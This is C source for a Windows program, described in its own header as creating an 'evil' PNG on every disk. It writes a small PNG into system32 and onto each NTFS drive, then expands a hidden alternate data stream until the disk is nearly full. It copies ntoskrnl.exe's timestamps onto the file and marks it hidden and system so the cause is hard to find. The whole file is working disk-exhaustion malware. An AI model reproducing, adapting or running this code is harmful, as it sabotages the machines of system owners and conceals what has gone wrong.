/************************************************************************ * * * Fill - create an evil .png file in every disk of the system * * with 1 kb of data and an enormous amount of metatada * * the disk will appear full, and the png only 1 kb big * * * * Matteo Croce * * * ************************************************************************/ #define WIN32_LEAN_AND_MEAN #include //#define DEBUG #ifdef DEBUG #include #define D(x, ...) fprintf(stderr, x"\n", __VA_ARGS__) #else #define D(...) #endif // our funny png const char sgang[] = "\x89\x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52" "\x00\x00\x00\x13\x00\x00\x00\x13\x08\x03\x00\x00\x00\x45\x8e\xc6" "\xfe\x00\x00\x01\xa4\x50\x4c\x54\x45\x00\x00\x00\x9f\x40\x21\xa0" "\x42\x23\xa2\x45\x22\xa3\x46\x23\xa2\x47\x27\xa3\x47\x26\xa3\x48" "\x24\xa3\x48\x25\xa5\x49\x23\xa5\x49\x25\xa4\x4a\x28\xa5\x4b\x24" "\xa5\x4b\x25\xa5\x4b\x2a\xa7\x4d\x23\xa7\x4d\x27\xa8\x51\x26\xa8" "\x50\x31\xa8\x52\x33\xaa\x54\x2d\xab\x56\x2f\xb0\x5a\x28\xaa\x5d" "\x44\xb6\x66\x37\xbc\x6d\x23\xbd\x73\x2c\xc1\x79\x35\xc4\x80\x31" "\xba\x89\x2f\xc7\x85\x32\xac\x90\x4c\xae\x92\x4c\xd7\x95\x22\xd9" "\x99\x24\xbe\xa2\x69\xd4\xa5\x29\xc8\xa8\x44\xe0\xa4\x24\xd6\xa8" "\x2c\xe1\xa6\x22\xc0\xab\x78\xdd\xab\x2d\xe3\xaa\x25\xcb\xb0\x4b" "\xde\xad\x2d\xe6\xad\x25\xca\xb5\x51\xe9\xb3\x25\xea\xb4\x23\xea" "\xb4\x25\xe3\xb6\x35\xd5\xb3\x6d\xe2\xb7\x40\xd8\xb6\x6a\xed\xbb" "\x29\xeb\xbb\x2f\xe9\xbb\x35\xed\xbb\x2c\xce\xb9\x8e\xde\xbb\x5e" "\xf2\xbe\x30\xf0\xc0\x2d\xf1\xc2\x2e\xec\xc3\x37\xdd\xc2\x68\xf4" "\xc2\x30\xe6\xc1\x61\xef\xc5\x44\xf9\xc9\x34\xdf\xc6\x91\xe8\xc9" "\x6f\xf4\xce\x38\xf3\xcf\x3b\xf4\xce\x40\xf6\xcf\x38\xdb\xcb\xae" "\xf8\xd2\x3e\xf9\xd4\x3e\xef\xd1\x80\xf9\xd9\x3d\xfc\xdc\x43\xfb" "\xdd\x45\xf6\xda\x69\xfe\xde\x42\xd7\xd7\xd7\xf2\xd8\x99\xe4\xd8" "\xc2\xfd\xe3\x4a\xfe\xe4\x4a\xfd\xe5\x4b\xf5\xde\x99\xfc\xe8\x52" "\xfc\xea\x4e\xfc\xea\x4f\xed\xde\xc0\xec\xdf\xc0\xfd\xec\x52\xeb" "\xe0\xc6\xfd\xed\x51\xfd\xed\x53\xfd\xed\x56\xfd\xee\x53\xfd\xef" "\x53\xfc\xef\x5a\xfd\xf0\x54\xfd\xf1\x5a\xf3\xe4\xc2\xf7\xe6\xb3" "\xf8\xe7\xbf\xf7\xe8\xc2\xf8\xe9\xc4\xf6\xe9\xcd\xf2\xea\xe1\xf1" "\xed\xe3\xf5\xee\xdb\xf9\xee\xd1\xf5\xef\xe8\xf3\xf1\xee\xfa\xf2" "\xdd\xf8\xf3\xe8\xfb\xf5\xe5\xf8\xf6\xf1\xf9\xf7\xf3\xfc\xf7\xec" "\xfc\xf8\xee\xfb\xf8\xf3\xfc\xfa\xf5\xfd\xfa\xf4\xfc\xfa\xf9\xfd" "\xfb\xf4\xfc\xfb\xf9\xfc\xfc\xfa\xfd\xfc\xf9\xfe\xfc\xf9\xfe\xfd" "\xf9\xfe\xfd\xfa\xfe\xfd\xfb\xfe\xfe\xfc\xff\xff\xff\x63\x10\x5d" "\x55\x00\x00\x01\x32\x49\x44\x41\x54\x18\xd3\x63\xe8\x06\x81\xb6" "\xda\x92\x30\xff\xb0\xbc\xca\x32\x30\x8f\x01\x88\xbb\x72\x5d\x3c" "\x83\xa2\x62\x22\xfd\x1c\x4c\x0b\xba\x20\x62\xed\xe5\xc1\x31\x59" "\x99\x69\x71\x31\x91\x91\x1e\xc6\x8e\xad\x20\xb1\xce\x72\xbf\x2c" "\x20\x48\x4f\x06\x8a\x85\x04\x18\x9b\x75\x00\xc5\xf2\x3d\xb2\xf4" "\xe5\x15\xf4\x53\x63\x62\x74\xe4\x15\x54\xbd\xd5\x13\xba\x19\x9a" "\x72\x22\xb3\xe4\x33\xb2\xe4\x81\x62\xf2\x11\x81\xf2\x1e\x16\x26" "\x75\x0c\xb5\x1e\xa9\xa9\x20\xbd\x29\x31\x40\xbd\x81\x7e\x1e\xf6" "\x2a\x15\x0c\x25\x81\xa9\xa9\x20\xd1\xc4\x58\xa0\x50\xa0\x9f\xab" "\x9d\x6e\x12\x43\x74\xa4\x20\x33\x2f\x0f\x0f\x07\x13\x13\x13\x3b" "\x1f\x1f\x27\x17\xbf\x9e\x35\x83\x7f\x24\x23\x03\x10\x84\x76\x37" "\x32\x80\x01\xa3\x92\x26\x43\x58\xa0\x1c\x44\xac\x1b\x22\x26\xad" "\x65\xcd\x50\xe2\x21\xc3\x8d\x24\x26\x2c\xa9\x12\xce\x50\xe3\xe0" "\x25\xc5\x80\x00\x62\xda\xb2\xa5\x0c\x0d\xee\x1e\xbe\xe2\x70\x21" "\x01\x35\x15\xe5\x2a\x86\xee\x6c\x67\x0f\x4b\x11\xa8\x90\x90\xa2" "\x91\x6c\x11\xd0\x6f\x1d\xc5\xce\x4e\xb6\x12\x2c\x6c\x8c\x6c\xac" "\xa2\x1a\x86\xb2\xe1\x2d\xa0\x70\xa9\x2f\xb6\x31\x32\xb7\x32\x32" "\x32\x30\x32\x52\x91\x0d\xaf\x86\x84\x5f\x47\xbc\x9b\x8a\x8a\x91" "\x91\xae\x8a\xac\x72\x51\x0b\x34\x4c\xbb\xbb\xeb\x2a\x92\xac\x35" "\xad\x7d\x0a\x9b\xc1\x3c\x00\x92\xd0\x64\x0e\xaa\x66\xb6\x2d\x00" "\x00\x00\x00\x49\x45\x4e\x44\xae\x42\x60\x82"; const DWORD sgang_size = 795; BOOL restore = FALSE; FILETIME ct, lat, lwt; void GoCreate(const char[]); int main(int argc, char *argv[]) { char sys[MAX_PATH], drive[] = "\0:\\"; DWORD i, drives, root_flags = 0; // get "%SystemRoot%\system32", we will use it later GetSystemDirectory(sys, MAX_PATH); lstrcat(sys, "\\"); // get ntoskrnl.exe time to better hide out evil png if(argc == 2 && !lstrcmp(argv[1], "-r")) restore = TRUE; else { char ntoskrnl[MAX_PATH]; HANDLE file; lstrcpy(ntoskrnl, sys); lstrcat(ntoskrnl, "ntoskrnl.exe"); file = CreateFile(ntoskrnl, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); GetFileTime(file, &ct, &lat, &lwt); CloseHandle(file); } // Let's create the evil file in "%SystemRoot%\system32" *drive = *sys; GetVolumeInformation(drive, NULL, 0, NULL, NULL, &root_flags, NULL, 0); if(root_flags & FILE_NAMED_STREAMS) { D("%s supports named streams ;)", sys); GoCreate(sys); } // do it for all drives in the system drives = GetLogicalDrives(); for(i = 0; i < 32; i++) { if(drives & (1 << i)) { DWORD flags = 0; *drive = i + 'A'; D("%c: is there", *drive); if(*drive == *sys) { D("\tbut it cointains %s! Skipping", sys); continue; } // obviously only if the drive supports it (NTFS) GetVolumeInformation(drive, NULL, 0, NULL, NULL, &flags, NULL, 0); if(flags & FILE_NAMED_STREAMS) { D("%s", "\tand supports named streams ;)"); GoCreate(drive); } } } return 0; } void GoCreate(const char dir[]) { DWORD written; HANDLE file; char path[MAX_PATH]; lstrcpy(path, dir); lstrcat(path, "sgang.png"); // we may delete e previous evil file SetFileAttributes(path, FILE_ATTRIBUTE_NORMAL); DeleteFile(path); // don't even think i'm good! I just use it on my box to try the program multiple time if(restore) { D("removing %s", path); return; } // create the file file = CreateFile(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if(file != INVALID_HANDLE_VALUE) { D("creating %s", path); // write the funny thing WriteFile(file, sgang, sgang_size, &written, NULL); SetFileTime(file, &ct, &lat, &lwt); CloseHandle(file); // open a stream and start to fill it lstrcat(path, ":filldata"); file = CreateFile(path, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if(file != INVALID_HANDLE_VALUE) { ULARGE_INTEGER free; D("filling %s", path); // while there are X bytes free expand the stream by X/2 // don't expand it by exactly X as sometimes The Stupid OS(TM) // prevent you to fill the disk, maybe due to cluster size issues do { GetDiskFreeSpaceEx(dir, &free, NULL, NULL); D("I have %luG and %lu bytes left", free.HighPart << 2, free.LowPart); // some 64 bit arithmetic to divide by 2 //free.LowPart >>= 1; //free.LowPart |= (free.HighPart << 31); //free.HighPart >>= 1; // do the job in 64 bit mode free.QuadPart >>= 1; SetFilePointer(file, free.LowPart, &free.HighPart, FILE_CURRENT); } while((free.LowPart || free.HighPart) && SetEndOfFile(file)); // close it, but only after being set the date to the same oif ntoskern.exe ;) SetFileTime(file, &ct, &lat, &lwt); CloseHandle(file); } else D("can't write in %s", path); // Make the file difficult to view SetFileAttributes(path, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM); } else D("can't write in %s", path); }